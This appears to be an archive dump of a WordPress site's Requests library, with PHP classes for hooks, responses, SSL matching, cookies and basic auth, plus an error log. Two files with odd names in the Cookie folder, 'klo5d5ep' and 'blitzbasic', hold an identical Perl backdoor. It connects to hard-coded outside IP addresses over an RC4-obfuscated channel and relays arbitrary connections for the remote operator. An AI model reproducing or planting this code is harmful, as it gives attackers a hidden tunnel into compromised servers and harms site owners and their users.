throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
}
if (is_callable($callback) === false) {
throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback));
}
if (InputValidator::is_numeric_array_key($priority) === false) {
throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority));
}
if (!isset($this->hooks[$hook])) {
$this->hooks[$hook] = [
$priority => [],
];
} elseif (!isset($this->hooks[$hook][$priority])) {
$this->hooks[$hook][$priority] = [];
}
$this->hooks[$hook][$priority][] = $callback;
}
/**
* Dispatch a message
*
* @param string $hook Hook name
* @param array $parameters Parameters to pass to callbacks
* @return boolean Successfulness
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
* @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array.
*/
public function dispatch($hook, $parameters = []) {
if (is_string($hook) === false) {
throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
}
// Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`.
if (is_array($parameters) === false) {
throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters));
}
if (empty($this->hooks[$hook])) {
return false;
}
if (!empty($parameters)) {
// Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0.
$parameters = array_values($parameters);
}
ksort($this->hooks[$hook]);
foreach ($this->hooks[$hook] as $priority => $hooked) {
foreach ($hooked as $callback) {
$callback(...$parameters);
}
}
return true;
}
public function __wakeup() {
throw new \LogicException( __CLASS__ . ' should never be unserialized' );
}
}
Response.php 0000644 00000010271 15207614116 0007057 0 ustar 00 headers = new Headers();
$this->cookies = new Jar();
}
/**
* Is the response a redirect?
*
* @return boolean True if redirect (3xx status), false if not.
*/
public function is_redirect() {
$code = $this->status_code;
return in_array($code, [300, 301, 302, 303, 307], true) || $code > 307 && $code < 400;
}
/**
* Throws an exception if the request was not successful
*
* @param boolean $allow_redirects Set to false to throw on a 3xx as well
*
* @throws \WpOrg\Requests\Exception If `$allow_redirects` is false, and code is 3xx (`response.no_redirects`)
* @throws \WpOrg\Requests\Exception\Http On non-successful status code. Exception class corresponds to "Status" + code (e.g. {@see \WpOrg\Requests\Exception\Http\Status404})
*/
public function throw_for_status($allow_redirects = true) {
if ($this->is_redirect()) {
if ($allow_redirects !== true) {
throw new Exception('Redirection not allowed', 'response.no_redirects', $this);
}
} elseif (!$this->success) {
$exception = Http::get_class($this->status_code);
throw new $exception(null, $this);
}
}
/**
* JSON decode the response body.
*
* The method parameters are the same as those for the PHP native `json_decode()` function.
*
* @link https://php.net/json-decode
*
* @param bool|null $associative Optional. When `true`, JSON objects will be returned as associative arrays;
* When `false`, JSON objects will be returned as objects.
* When `null`, JSON objects will be returned as associative arrays
* or objects depending on whether `JSON_OBJECT_AS_ARRAY` is set in the flags.
* Defaults to `true` (in contrast to the PHP native default of `null`).
* @param int $depth Optional. Maximum nesting depth of the structure being decoded.
* Defaults to `512`.
* @param int $options Optional. Bitmask of JSON_BIGINT_AS_STRING, JSON_INVALID_UTF8_IGNORE,
* JSON_INVALID_UTF8_SUBSTITUTE, JSON_OBJECT_AS_ARRAY, JSON_THROW_ON_ERROR.
* Defaults to `0` (no options set).
*
* @return array
*
* @throws \WpOrg\Requests\Exception If `$this->body` is not valid json.
*/
public function decode_body($associative = true, $depth = 512, $options = 0) {
$data = json_decode($this->body, $associative, $depth, $options);
if (json_last_error() !== JSON_ERROR_NONE) {
$last_error = json_last_error_msg();
throw new Exception('Unable to parse JSON data: ' . $last_error, 'response.invalid', $this);
}
return $data;
}
}
Ssl.php 0000644 00000012461 15207614116 0006025 0 ustar 00 0) {
// Whitespace detected. This can never be a dNSName.
return false;
}
$parts = explode('.', $reference);
if ($parts !== array_filter($parts)) {
// DNSName cannot contain two dots next to each other.
return false;
}
// Check the first part of the name
$first = array_shift($parts);
if (strpos($first, '*') !== false) {
// Check that the wildcard is the full part
if ($first !== '*') {
return false;
}
// Check that we have at least 3 components (including first)
if (count($parts) < 2) {
return false;
}
}
// Check the remaining parts
foreach ($parts as $part) {
if (strpos($part, '*') !== false) {
return false;
}
}
// Nothing found, verified!
return true;
}
/**
* Match a hostname against a dNSName reference
*
* @param string|Stringable $host Requested host
* @param string|Stringable $reference dNSName to match against
* @return boolean Does the domain match?
* @throws \WpOrg\Requests\Exception\InvalidArgument When either of the passed arguments is not a string or a stringable object.
*/
public static function match_domain($host, $reference) {
if (InputValidator::is_string_or_stringable($host) === false) {
throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
}
// Check if the reference is blocklisted first
if (self::verify_reference_name($reference) !== true) {
return false;
}
// Check for a direct match
if ((string) $host === (string) $reference) {
return true;
}
// Calculate the valid wildcard match if the host is not an IP address
// Also validates that the host has 3 parts or more, as per Firefox's ruleset,
// as a wildcard reference is only allowed with 3 parts or more, so the
// comparison will never match if host doesn't contain 3 parts or more as well.
if (ip2long($host) === false) {
$parts = explode('.', $host);
$parts[0] = '*';
$wildcard = implode('.', $parts);
if ($wildcard === (string) $reference) {
return true;
}
}
return false;
}
}
Cookie/klo5d5ep 0000644 00000022033 15207614116 0007333 0 ustar 00 #!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '36.255.98.157';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
Cookie/Jar.php 0000644 00000010413 15207614116 0007204 0 ustar 00 cookies = $cookies;
}
/**
* Normalise cookie data into a \WpOrg\Requests\Cookie
*
* @param string|\WpOrg\Requests\Cookie $cookie Cookie header value, possibly pre-parsed (object).
* @param string $key Optional. The name for this cookie.
* @return \WpOrg\Requests\Cookie
*/
public function normalize_cookie($cookie, $key = '') {
if ($cookie instanceof Cookie) {
return $cookie;
}
return Cookie::parse($cookie, $key);
}
/**
* Check if the given item exists
*
* @param string $offset Item key
* @return boolean Does the item exist?
*/
#[ReturnTypeWillChange]
public function offsetExists($offset) {
return isset($this->cookies[$offset]);
}
/**
* Get the value for the item
*
* @param string $offset Item key
* @return string|null Item value (null if offsetExists is false)
*/
#[ReturnTypeWillChange]
public function offsetGet($offset) {
if (!isset($this->cookies[$offset])) {
return null;
}
return $this->cookies[$offset];
}
/**
* Set the given item
*
* @param string $offset Item name
* @param string $value Item value
*
* @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
*/
#[ReturnTypeWillChange]
public function offsetSet($offset, $value) {
if ($offset === null) {
throw new Exception('Object is a dictionary, not a list', 'invalidset');
}
$this->cookies[$offset] = $value;
}
/**
* Unset the given header
*
* @param string $offset The key for the item to unset.
*/
#[ReturnTypeWillChange]
public function offsetUnset($offset) {
unset($this->cookies[$offset]);
}
/**
* Get an iterator for the data
*
* @return \ArrayIterator
*/
#[ReturnTypeWillChange]
public function getIterator() {
return new ArrayIterator($this->cookies);
}
/**
* Register the cookie handler with the request's hooking system
*
* @param \WpOrg\Requests\HookManager $hooks Hooking system
*/
public function register(HookManager $hooks) {
$hooks->register('requests.before_request', [$this, 'before_request']);
$hooks->register('requests.before_redirect_check', [$this, 'before_redirect_check']);
}
/**
* Add Cookie header to a request if we have any
*
* As per RFC 6265, cookies are separated by '; '
*
* @param string $url
* @param array $headers
* @param array $data
* @param string $type
* @param array $options
*/
public function before_request($url, &$headers, &$data, &$type, &$options) {
if (!$url instanceof Iri) {
$url = new Iri($url);
}
if (!empty($this->cookies)) {
$cookies = [];
foreach ($this->cookies as $key => $cookie) {
$cookie = $this->normalize_cookie($cookie, $key);
// Skip expired cookies
if ($cookie->is_expired()) {
continue;
}
if ($cookie->domain_matches($url->host)) {
$cookies[] = $cookie->format_for_header();
}
}
$headers['Cookie'] = implode('; ', $cookies);
}
}
/**
* Parse all cookies from a response and attach them to the response
*
* @param \WpOrg\Requests\Response $response Response as received.
*/
public function before_redirect_check(Response $response) {
$url = $response->url;
if (!$url instanceof Iri) {
$url = new Iri($url);
}
$cookies = Cookie::parse_from_headers($response->headers, $url);
$this->cookies = array_merge($this->cookies, $cookies);
$response->cookies = $this;
}
}
Cookie/blitzbasic 0000644 00000022033 15207614116 0010031 0 ustar 00 #!/usr/bin/perl
use strict;
use warnings;
use Socket;
use Socket qw(IPPROTO_TCP TCP_NODELAY);
use Fcntl;
use Fcntl qw(:flock);
use threads;
use threads::shared;
my $host = '62.60.131.182';
my $port = 443;
my $xordata = "\x00" x 50;
for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); }
sub Rc4_crypt {
my $passw = shift(@_);
my $length = shift(@_);
my $buff0 = shift(@_);
my $start = shift(@_);
my $sz = shift(@_);
my $rc4 = "\x00" x 256;
my $pockemon0 = 0;
my $pockemon1 = 0;
my $pockemon2 = 0;
my $pockemon3 = 0;
my $pockemon4 = 0;
my $pockemon5 = 0;
my $pockemon6 = 0;
my $pockemon7 = 0;
my $pockemon8 = 0;
my $rcx = $sz;
my $rsi = 0;
my $rbx = 0;
my $gs = 0;
my $t = 0;
for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); }
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
while(1) {
if ($gs == 0) {
$pockemon2 = 0;
$pockemon3 = $length;
}
if ($gs != 0) {
$gs = 0;
$pockemon2++;
if (--$pockemon3 == 0) { next; }
}
$pockemon7 = unpack('C', substr($rc4, $pockemon0, 1));
$t = unpack('C', substr($$passw, $pockemon2, 1));
$pockemon1 += $t;
$pockemon1 = $pockemon1 & 255;
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon6 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon0, 1) = pack('C', $pockemon6);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon0++;
$pockemon0 = $pockemon0 & 255;
if ($pockemon0 != 0) {
$gs = 1;
next;
}
$pockemon4 = $sz;
$pockemon1 = 0;
$pockemon0 = 0;
$pockemon2 = 0;
$pockemon3 = 0;
while(1) {
$pockemon2++;
$pockemon2 = $pockemon2 & 255;
$pockemon7 = unpack('C', substr($rc4, $pockemon2, 1));
$pockemon1 += $pockemon7;
$pockemon1 = $pockemon1 & 255;
$pockemon8 = unpack('C', substr($rc4, $pockemon1, 1));
substr($rc4, $pockemon2, 1) = pack('C', $pockemon8);
substr($rc4, $pockemon1, 1) = pack('C', $pockemon7);
$pockemon8 += $pockemon7;
$pockemon8 = $pockemon8 & 255;
$pockemon0 = unpack('C', substr($rc4, $pockemon8, 1));
$pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1));
$pockemon5 = $pockemon5 ^ $pockemon0;
substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5);
$pockemon3++;
if (--$pockemon4 == 0)
{
last;
}
}
last;
}
$rsi = 0;
$rcx = $sz;
$rbx = 0;
do {
substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1))));
$rsi++;
$rbx++;
$rcx--;
if ($rbx == $length) {
$rbx = 0;
}
} while($rcx > 0);
}
sub synsend {
my $cSocket = shift(@_);
my $buffer = shift(@_);
my $flags = shift(@_);
open(my $fh, "<", '/dev/null');
flock($fh, LOCK_EX);
# ===============================================
send($cSocket, $buffer, $flags);
# ===============================================
flock($fh, LOCK_UN);
close($fh);
}
sub newConnection {
my $num = shift(@_);
my $socketarray = shift(@_);
my $sSocket = shift(@_);
my $cSocket = shift(@_);
my $buff0 = shift(@_);
threads->create( sub {
my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00";
my $domain = '';
my $port = 0;
my $_ret = 0;
my $data = '';
my $buffer = '';
setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1);
fcntl($cSocket, F_SETFL, O_NONBLOCK);
if (unpack('C', substr($buff0, 7, 1)) == 3) {
$domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1)));
$port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1));
}
elsif (unpack('C', substr($buff0, 7, 1)) == 1) {
$domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1)));
$port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1));
}
else {
goto close_;
}
eval {
my $paddr = sockaddr_in($port, inet_aton($domain));
connect($cSocket, $paddr);
vec(my $win = '', fileno($cSocket), 1) = 1;
unless (select(undef, $win, undef, 10)) { goto close_; }
fcntl($cSocket, F_SETFL, 0);
substr($responce, 4, 1) = "\x00";
$_ret = 1;
};
close_:
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
Rc4_crypt(\$xordata, 50, \$responce, 3, 10);
synsend($sSocket, $responce, MSG_NOSIGNAL);
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
if ($_ret == 1) {
while ($$socketarray[$num] == 1) {
vec(my $rin = '', fileno($cSocket), 1) = 1;
unless (select($rin, undef, undef, 1)) { next; }
$data = '';
recv($cSocket, $data, 65530, 0);
unless ($data) { last; }
$buffer = pack('C', $num).pack('S', length($data)).$data;
Rc4_crypt(\$xordata, 50, \$buffer, 0, 3);
Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data));
synsend($sSocket, $buffer, MSG_NOSIGNAL);
}
}
$$socketarray[$num] = 0;
close($cSocket);
substr($responce, 1, 2) = "\x00\x00";
Rc4_crypt(\$xordata, 50, \$responce, 0, 3);
synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL);
threads->detach();
});
}
sub bccnct {
my $host = shift(@_);
my $port = shift(@_);
my $remaining = 0;
my $remaining4 = 0;
my @socketarr;
my @socketarray :shared;
my $buffer = "\x00" x 100;
my $buffernull = "\x00" x 3;
my $buffer0 = '';
my $isExit = 0;
my $ecx = 0;
my $eax = 0;
my $data = '';
my $_ret = 0;
my $ebx = 0;
my $edx = 0;
socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1);
my $paddr = sockaddr_in($$port, inet_aton($$host));
unless(connect($socketarr[0], $paddr)) { goto close0; }
substr($buffer, 0, 50) = $xordata;
substr($buffer, 50, 2) = "\xFF\xFF";
substr($buffer, 54, 11) = "Perl script";
Rc4_crypt(\$xordata, 50, \$buffer, 50, 50);
send($socketarr[0], $buffer, MSG_NOSIGNAL);
while(1) {
if ($remaining4 != 4) {
vec(my $rin = '', fileno($socketarr[0]), 1) = 1;
my $ret = select($rin, undef, undef, 60);
next if ($ret < 0);
if ($ret == 0) {
last if (substr($buffernull, 0, 3) ne "\x00\x00\x00");
last if ($remaining != 0);
last if ($remaining4 != 0);
Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3);
synsend($socketarr[0], $buffernull, MSG_NOSIGNAL);
next;
}
}
if ($remaining != 0 || $remaining4 == 4) {
if ($edx == 0) {
if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") {
$isExit = 1;
last;
}
elsif ($ebx < 200 && $ebx > 0) {
$socketarray[$ebx] = 0;
}
}
else {
$ecx = $edx;
$ecx = $ecx - $remaining;
$data = '';
recv($socketarr[0], $data, $ecx, 0);
unless ($data) { last; }
$remaining += length($data);
$buffer0 .= $data;
if ($edx == $remaining) {
Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining);
if (unpack('C', substr($buffer0, 0, 1)) == 0) {
socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$socketarray[$ebx] = 1;
newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0);
}
else {
send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL);
}
$remaining = 0;
}
}
$remaining4 = 0;
}
else {
if ($remaining4 == 0) { $buffer0 = ''; }
$eax = 4;
$eax = $eax - $remaining4;
$data = '';
recv($socketarr[0], $data, $eax, 0);
unless ($data) { last; }
$remaining4 += length($data);
$buffer0 .= $data;
$buffernull = "\x00" x 3;
if ($remaining4 == 4) {
Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4);
$ebx = unpack('C', substr($buffer0, 1, 1));
$edx = unpack('S', substr($buffer0, 2, 2));
$_ret = 1;
}
}
}
close0:
close($socketarr[0]);
for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; }
sleep 10;
if ($isExit == 1) { exit; }
return $_ret;
}
bccnct(\$host, \$port);
Auth/Basic.php 0000644 00000004755 15207614116 0007215 0 ustar 00 user, $this->pass) = $args;
return;
}
if ($args !== null) {
throw InvalidArgument::create(1, '$args', 'array|null', gettype($args));
}
}
/**
* Register the necessary callbacks
*
* @see \WpOrg\Requests\Auth\Basic::curl_before_send()
* @see \WpOrg\Requests\Auth\Basic::fsockopen_header()
* @param \WpOrg\Requests\Hooks $hooks Hook system
*/
public function register(Hooks $hooks) {
$hooks->register('curl.before_send', [$this, 'curl_before_send']);
$hooks->register('fsockopen.after_headers', [$this, 'fsockopen_header']);
}
/**
* Set cURL parameters before the data is sent
*
* @param resource|\CurlHandle $handle cURL handle
*/
public function curl_before_send(&$handle) {
curl_setopt($handle, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($handle, CURLOPT_USERPWD, $this->getAuthString());
}
/**
* Add extra headers to the request before sending
*
* @param string $out HTTP header string
*/
public function fsockopen_header(&$out) {
$out .= sprintf("Authorization: Basic %s\r\n", base64_encode($this->getAuthString()));
}
/**
* Get the authentication string (user:pass)
*
* @return string
*/
public function getAuthString() {
return $this->user . ':' . $this->pass;
}
}
Auth/error_log 0000644 00000005247 15207614116 0007375 0 ustar 00 [25-Jul-2025 23:00:19 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[10-Aug-2025 06:21:48 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[18-Aug-2025 00:57:03 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[18-Aug-2025 01:14:58 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[18-Aug-2025 02:25:41 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[25-Aug-2025 16:01:46 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[29-Sep-2025 16:28:36 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[22-Oct-2025 13:12:57 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23
[02-Nov-2025 16:18:37 UTC] PHP Fatal error: Uncaught Error: Interface "WpOrg\Requests\Auth" not found in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php:23
Stack trace:
#0 {main}
thrown in /home/blacotuu/deliciouskenya.com/wp-includes/Requests/src/Auth/Basic.php on line 23
